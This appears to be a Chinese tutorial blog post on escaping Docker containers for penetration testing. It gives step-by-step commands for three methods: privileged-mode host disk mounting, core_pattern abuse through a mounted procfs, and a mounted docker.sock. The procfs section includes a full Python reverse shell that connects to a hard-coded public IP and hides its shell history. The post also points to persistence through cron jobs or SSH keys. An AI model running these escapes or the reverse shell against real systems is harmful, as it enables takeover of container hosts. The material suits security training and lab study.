Docker容器逃逸

Docker容器逃逸

Privileged 特权模式容器逃逸 | T Wiki (teamssix.com)icon-default.png?t=N7T8https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html

1、云原生-Docker 安全-容器逃逸&特权模式

2、云原生-Docker 安全-容器逃逸&挂载 Procfs

3、云原生-Docker 安全-容器逃逸&挂载 Socket

4、云原生-Docker 安全-容器逃逸条件&权限高低

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

3、前渗透-判断是否在容器中

前提:拿到权限

如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

K8s&docker环境下:ls -alh /.dockerenv 可以找到文件。

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

K8s&docker环境下:

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

K8s&docker环境下:

解决目前无法访问,超时连接方法

解决方案1:配置加速地址

配置加速地址:适用于Ubuntu 16.04+、Debian 8+、CentOS 7+

方式一:使用以下命令设置registry mirror:但是需要重启docker服务

sudo mkdir -p /etc/docker

sudo tee /etc/docker/daemon.json <<-'EOF'

{

    "registry-mirrors": [

        "https://do.nark.eu.org",

        "https://dc.j8.work",

        "https://dockerhub.icu/",

        "https://docker.m.daocloud.io",

        "https://dockerproxy.com",

        "https://docker.mirrors.ustc.edu.cn",

        "https://docker.nju.edu.cn"

    ]

}

EOF

sudo systemctl daemon-reload

sudo systemctl restart docker

云原生-Docker安全-容器逃逸&特权模式

1、以特权模式启动靶场

docker run --rm --privileged=true -it alpine

相当于拿到权限了

2、检测是否是docker环境

ls -alh /

3、判断是否是特权模式

cat /proc/self/status | grep CapEff

4、查看目录

fdisk -l

5、特权模式逃逸

mkdir /test && mount /dev/sda1 /test

cd /test/

 ls

后面就是写任务计划或ssh写密钥登录

云原生-Docker安全-容器逃逸&挂载Procfs

1、启动环境

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

2、检测环境

find / -name core_pattern

3、查找路径(容器在真实磁盘的绝对路径)

cat /proc/mounts | grep workdir

workdir=/var/lib/docker/overlay2/b0490e5e3485e7181b3d03126444c472d4e061b47b43a61870e562a0ce4fa01e

4、写入文件

cat >/tmp/.x.py << EOF

#!/usr/bin/python

import os

import pty

import socket

lhost = "47.122.60.89"

lport = 7777

def main():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((lhost, lport))

    os.dup2(s.fileno(), 0)

    os.dup2(s.fileno(), 1)

    os.dup2(s.fileno(), 2)

    os.putenv("HISTFILE", '/dev/null')

    pty.spawn("/bin/bash")

    os.remove('/tmp/.x.py')

    s.close()

if __name__ == "__main__":

    main()

EOF

添加执行权限

echo -e "|/var/lib/docker/overlay2/b0490e5e3485e7181b3d03126444c472d4e061b47b43a61870e562a0ce4fa01e/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern

//这里的路径要替换为workdir的绝对路径

cat >/tmp/x.c << EOF

#include <stdio.h>

int main(void)

{

    int *a = NULL;

    *a = 1;

    return 0;

}

EOF

cd /tmp

gcc x.c -o x  //编译c文件

apt-get update -y && apt-get install  gcc -y

//实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行

5、执行文件:

./x  

vps上监听即可

nc -lvvp xxxx

云原生-Docker安全-容器逃逸&挂载Socket

参考地址:挂载 Docker Socket 逃逸 | T Wiki

1、启动靶场

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2、进入环境

docker exec -it with_docker_sock /bin/bash

3、检测环境

ls -lah /var/run/docker.sock

4、挂载逃逸

apt-get update 

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash

ls /host/root

云原生-Docker安全-容器逃逸条件&权限高低

模拟真实场景:

高权限-Web入口到Docker逃逸(java)特权模式逃逸

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

ls -la /

cat /proc/self/status | grep CapEff

fdisk -l

mkdir /test && mount /dev/sda1 /test

低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

拿到权限

发现dockerenv文件

mkdir /test && mount /dev/sda1 /test

无法挂载

入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值